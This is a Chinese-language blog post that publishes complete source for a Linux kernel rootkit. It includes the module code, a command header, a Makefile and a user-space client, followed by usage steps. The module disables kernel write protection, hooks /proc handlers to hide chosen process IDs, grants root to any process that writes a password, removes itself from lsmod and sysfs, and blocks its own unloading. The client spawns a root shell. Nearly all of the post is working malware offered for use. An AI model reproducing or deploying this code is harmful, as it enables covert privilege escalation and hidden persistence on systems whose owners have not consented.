rootkit:在隐藏模块的基础上隐藏进程

        上篇随笔中实现了隐藏进程,在实际的处理中,经常会用模块来达到修改系统调用的目的,但是当插入一个模块时,若不采取任何隐藏措施,很容易被对方发现,一旦对方发现并卸载了所插入的模块,那么所有利用该模块来隐藏的文件就暴露了,所以应继续分析如何来隐藏特定名字的模块。

        这里我们可以通过/proc文件系统来向内核传递命令的方式,实现获取root权限、隐藏模块、隐藏进程、显示进程、显示模块、允许卸载模块等功能。

       对于什么是/proc文件系统,以及如何通过它来跟内核通信,可以参考这里: http://www.ibm.com/developerworks/cn/linux/l-proc.html

      下面直接贴代码:

     

  1 /*rootkit.c*/
  2 #include <linux/module.h>
  3 #include<linux/kernel.h>
  4 #include<linux/proc_fs.h>
  5 #include<linux/sched.h>
  6 #include<linux/string.h>
  7 #include<linux/cred.h>
  8 #include<linux/stat.h>
  9 #include<linux/uaccess.h>
 10 #include<linux/file.h>
 11 #include "rootkit_conf.h"
 12 
 13 MODULE_LICENSE("GPL") ;
 14 MODULE_AUTHOR("Ormi<ormi.ormi@gmail.com>") ;
 15 MODULE_DESCRIPTION("Simple rootkit using procfs") ;
 16 MODULE_VERSION("0.1.2");
 17 static int failed;
 18 int orig_cr0;
 19 static char pid[10][32];
 20 static int pid_index;
 21 /* Here are pointers in which we save original, replaced pointers. We use
 22 them later, during unloading the module.
 23 I think that their names explain what they are ;) */
 24 static int (*old_proc_readdir)(struct file *, void *, filldir_t);
 25 static filldir_t old_filldir ;
 26 static ssize_t (*old_fops_write) (struct file *, const char __user *,size_t, loff_t *);
 27 static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t*);
 28 static write_proc_t *old_write;
 29 static read_proc_t *old_read;
 30 static struct proc_dir_entry *ptr; /* Pointer to "infected" entry */
 31 static struct proc_dir_entry *root; /* Pointer to /proc directory */
 32 static struct list_head *prev; /* Pointer to entry in main modules list whichwas before our module before we hid the rootkit */
 33 static struct file_operations *fops; /* file_operations of infected entry */
 34 static struct file_operations *root_fops; /* file_operations of /procdirectory */
 35 
 36 
 37 static unsigned int clear_and_return_cr0(void)//
 38 {
 39     unsigned int cr0 = 0;
 40     unsigned int ret;
 41 
 42     asm volatile ("movl %%cr0, %%eax"
 43             : "=a"(cr0)//eaxcr0
 44          );
 45     ret = cr0;//
 46 
 47     /*clear the 16th bit of CR0,*/
 48     cr0 &= 0xfffeffff;
 49     asm volatile ("movl %%eax, %%cr0"
 50             :
 51             : "a"(cr0)
 52          );
 53     return ret;
 54 }
 55 
 56 static void setback_cr0(unsigned int val)
 57 {
 58     asm volatile ("movl %%eax, %%cr0"
 59             :
 60             : "a"(val)
 61          );
 62 }
 63 
 64 static inline void module_remember_info(void)//save the pointer to the prev of hide module
 65 {
 66     prev = THIS_MODULE->list.prev;
 67 }
 68 static inline void module_show(void)//lsmod
 69 {
 70     list_add(&THIS_MODULE->list, prev); /* We add our module to main list of modules */
 71 }
 72 
 73 /* Parameter of this function is pointer to buffer in which there should be
 74 command */
 75 
 76 static int check_buf(const char __user *buf)
 77 {
 78     /* Here we give root privileges */
 79     struct cred *new = prepare_creds();//return current process's cred struct
 80     if (!strcmp(buf, password)) {
 81     new->uid = new->euid = 0;
 82     new->gid = new->egid = 0;
 83     commit_creds(new);
 84     }
 85 
 86     /* Here we make possible to unload the module by "rmmod" */
 87     else if (!strcmp(buf, module_release))
 88         module_put(THIS_MODULE);//count--
 89     /* Here we make module visible */
 90     else if (!strcmp(buf, module_uncover))
 91         module_show();//add to the list
 92     /* We hide process */
 93     else if (!strncmp(buf, hide_proc, strlen(hide_proc))) {
 94         if (pid_index > 9)  /*max number of the hided process is 10*/
 95         return 0;
 96         sprintf(pid[pid_index], "%s", buf + 5);
 97         pid_index++;
 98     }
 99 /* We "unhide" lastly hidden process */
100     else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) {
101         if (!pid_index)
102         return 0;
103         pid_index--;
104     }
105 /* If we are here, there was no command passed */
106     else
107         return 1;
108     return 0;
109 }
110 
111 
112 
113 /* Our "write" function */
114 static int buf_write(struct file *file, const char __user *buf,unsigned long count, void *data)
115 {
116     /* If check_buf return 0, there was command passed */
117     if (!check_buf(buf))
118         return count;
119     /* Otherwise we execute original function */
120     return old_write(file, buf, count, data);
121 }
122 
123 
124 
125 /* Our "read" function for read_proc field*/
126 static int buf_read(char __user *buf, char **start, off_t off,int count, int *eof, void *data)
127 {
128     if (!check_buf(buf))
129         return count;
130     return old_read(buf, start, off, count, eof, data);
131 }
132 
133 
134 /* For file_operations structure */
135 static ssize_t fops_write(struct file *file, const char __user *buf_user,size_t count, loff_t *p)
136 {
137     if (!check_buf(buf_user))
138         return count;
139     return old_fops_write(file, buf_user, count, p);
140 }
141 
142 
143 /* For file_operations structure */
144 static ssize_t fops_read(struct file *file, char __user *buf_user,size_t count, loff_t *p)
145 {
146     
147     if (!check_buf(buf_user))
148         return count;
149     return old_fops_read(file, buf_user, count, p);
150 }
151 
152 
153 /* Our filldir function */
154 static int new_filldir(void *__buf, const char *name, int namelen,loff_t offset, u64 ino, unsigned d_type)
155 {
156     int i;
157     /* We check if "name" is pid of one of hidden processes */
158     for (i = 0; i < pid_index; i++)
159     if (!strcmp(name, pid[i]))
160         return 0; /* If yes, we don't display it */
161     /* Otherwise we invoke original filldir */
162     return old_filldir(__buf, name, namelen, offset, ino, d_type);
163 }
164 
165 
166 
167 /* Our readdir function */
168 static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir)
169 {
170     /* To invoke original filldir in new_filldir we have to remeber pointer to
171     original filldir */
172     old_filldir = filldir;
173     /* We invoke original readdir, but as "filldir" parameter we give pointer to
174     our filldir */
175     return old_proc_readdir(filp, dirent, new_filldir) ;
176 }
177 
178 
179 
180 /* Here we replace readdir function of /proc */
181 static inline void change_proc_root_readdir(void)
182 {
183     root_fops = (struct file_operations *)root->proc_fops;
184     old_proc_readdir = root_fops->readdir;
185 
186     root_fops->readdir = new_proc_readdir;
187     
188 }
189 
190 
191 static inline void proc_init(void)//commond
192 {
193     ptr = create_proc_entry("temporary", 0444, NULL);
194     ptr = ptr->parent;
195     /* ptr->parent was pointer to /proc directory */
196     /* If it wasn't, something is seriously wrong */
197     if (strcmp(ptr->name, "/proc") != 0) {
198         failed = 1;
199         return;
200     }
201     root = ptr;
202     remove_proc_entry("temporary", NULL);
203     
204     orig_cr0 = clear_and_return_cr0();
205     change_proc_root_readdir(); /* We change /proc's readdir function */
206     setback_cr0(orig_cr0); /*set the wp*/
208     ptr = ptr->subdir;
209     /* Now we are searching entry we want to infect */
210     while (ptr) {
211         if (strcmp(ptr->name, passwaiter) == 0)
212         goto found; /* Ok, we found it */
213         ptr = ptr->next; /* Otherwise we go to next entry */
214     }
215     /* If we didn't find it, something is wrong :( */
216     failed = 1;
217     return;
218 found:
219     /* Let's begin infecting */
220     /* We save pointers to original reading and writing functions, to restore them during unloading the rootkit */
221     old_write = ptr->write_proc;
222     old_read = ptr->read_proc;
223     fops = (struct file_operations *)ptr->proc_fops; /* Pointer tofile_operations structure of infected entry */
224     old_fops_read = fops->read;
225     old_fops_write = fops->write;
226     
227     orig_cr0 = clear_and_return_cr0();  /*set back the wp*/
228     
229     /* We replace write_proc/read_proc */
230     if (ptr->write_proc)
231         ptr->write_proc = buf_write;
232     else if (ptr->read_proc)
233         ptr->read_proc = buf_read;
234         
235     /* We replace read/write from file_operations */
236     if (fops->write)
237         fops->write =fops_write;
238      else if (fops->read)
239         fops->read = fops_read;
240         
241     setback_cr0(orig_cr0);
242     /* There aren't any reading/writing functions? Error! */
243     if (!ptr->read_proc && !ptr->write_proc &&!fops->read && !fops->write) {
244         failed = 1;
245         return;
246     }
247 }
248 
249 
250 /* This functions does some "cleanups". If we don't set some pointers tu
251 NULL,
252 we can cause Oops during unloading rootkit. We free some structures,
253 because we don't want to waste memory... */
254 static inline void tidy(void)
255 {
256     kfree(THIS_MODULE->notes_attrs);
257     THIS_MODULE->notes_attrs = NULL;
258     kfree(THIS_MODULE->sect_attrs);
259     THIS_MODULE->sect_attrs = NULL;
260     kfree(THIS_MODULE->mkobj.mp);
261     THIS_MODULE->mkobj.mp = NULL;
262     THIS_MODULE->modinfo_attrs->attr.name = NULL;
263     kfree(THIS_MODULE->mkobj.drivers_dir);
264     THIS_MODULE->mkobj.drivers_dir = NULL;
265 }
266 
267 
268 
269 /*
270 We must delete some structures from lists to make rootkit harder to detect.
271 */
272 static inline void rootkit_hide(void)
273 {
274     list_del(&THIS_MODULE->list);//lsmod,/proc/modules
275     kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules
276     list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry
277 }
278 
279 
280 static inline void rootkit_protect(void)
281 {
282     try_module_get(THIS_MODULE);// count++
283 }
284 
285 
286 static int __init rootkit_init(void)
287 {
288     module_remember_info();
289     proc_init();
290     if (failed)
291         return 0;
292     rootkit_hide();
293     tidy();
294     rootkit_protect();
295     return 0 ;
296 }
297 
298 
299 
300 static void __exit rootkit_exit(void)
301 {
302     /* If failed, we don't have to do any cleanups */
303     if (failed)
304         return;
305     orig_cr0 = clear_and_return_cr0();
306     root_fops->readdir = old_proc_readdir;
307     fops->write = old_fops_write;
308     fops->read = old_fops_read;
309     ptr->write_proc = old_write;
310     ptr->read_proc = old_read;
311     setback_cr0(orig_cr0);
312 }
313 
314 
315 module_init(rootkit_init);
316 module_exit(rootkit_exit);

命令头文件:

1 /*rootkit_conf.h*/
2 static char password[] = "secretpassword" ; //give here password
3 static char passwaiter[] = "version" ; //here is name of entry to infect in /proc - you pass commands to it
4 static char module_release[] = "release" ; //command to release the module(make possible to unload it)
5 static char module_uncover[] = "uncover" ; //command to show the module
6 static char hide_proc[] = "hide" ; //command to hide specified process
7 static char unhide_proc[] = "unhide"; //command to "unhide" last hidden process

对应的Makefile

1 KERNELDIR=/usr/src/linux-headers-3.2.0-39-generic-pae
2 PWD:=$(shell pwd)
3 obj-m :=rootkit.o
4 modules:
5     $(MAKE) -C $(KERNELDIR) M=$(PWD) modules
6 clean:
7     rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.order *.symvers

测试程序:

 1 /*test_rootkit.c*/
 2 #include<stdio.h>
 3 #include<unistd.h>
 4 #include<fcntl.h>
 5 #include<string.h>
 6 #include<errno.h>
 7 #include<sys/stat.h>
 8 #include "rootkit_conf.h"
 9 static char file[64];
10 static char command[64];
11 int root = 0;
12 int main(int argc, char *argv[])
13 {
14     if(argc < 2) 
15     {
16         fprintf(stderr, "Usage: %s <command>\n", argv[0]);
17         return 1;
18     }
19     int fd ;
20     /* We get path to infected entry */
21     sprintf(file, "/proc/%s", passwaiter);
22     
23     /* If sent command is equal to command which has to give us root, we must run shell at the end */
24     if(!strcmp(argv[1], password))
25         root = 1;
26         
27     /* At first we try to write command to that entry */
28     fd = open(file, O_WRONLY);
29     if(fd < 1) 
30     {
31         printf("Opening for writing failed! Trying to open for reading!\n");
32         /* Otherwise, we send command by reading */
33         fd = open(file, O_RDONLY);
34         if(!fd) {
35             perror("open");
36         return 1;
37         }
38         read(fd, argv[1], strlen(argv[1]));
39     }
40     else
41       write(fd, argv[1], strlen(argv[1]));
42 end:
43     close(fd) ;
44     printf("[+] I did it!\n") ;
45     /* if we have to get root, we run shell */
46     if(root) {
47         uid_t uid = getuid() ;
48         printf("[+] Success! uid=%i\n", uid) ;
49         setuid(0) ;
50         setgid(0) ;
51         execl("/bin/bash", "bash", 0) ;
52     }
53     return 0;
54 }

编译生成模块 rootkit.ko,并加载进内核

默认情况下,我们已经隐藏了模块rootkit.ko 所以不管是 lsmod 还是 ls /proc/modules 或则 ls /sys/modules 是看不到rootkit.ko的。

此时编译运行test_rootkit.c

并传入参数:1:secretpassword 此时可以获得root权限

                     2:uncover  此时运行lsmod可以查看到模块rootkit.ko

                     3:  release   此时才可以用rmmode卸载模块rootkit.ko,默认情况下是不可以卸载的,因为我们在模块里设置了正在使用模块标记count=1,所以必须传命令release 让count=0,这样才可以卸载

                    4:hide:12   此时就可以隐藏进程号为12的进程

                    5:unhide     此时就可以显示最近隐藏的进程

 

posted @ 2013-05-01 20:34 人若无名 阅读(...) 评论(...) 编辑 收藏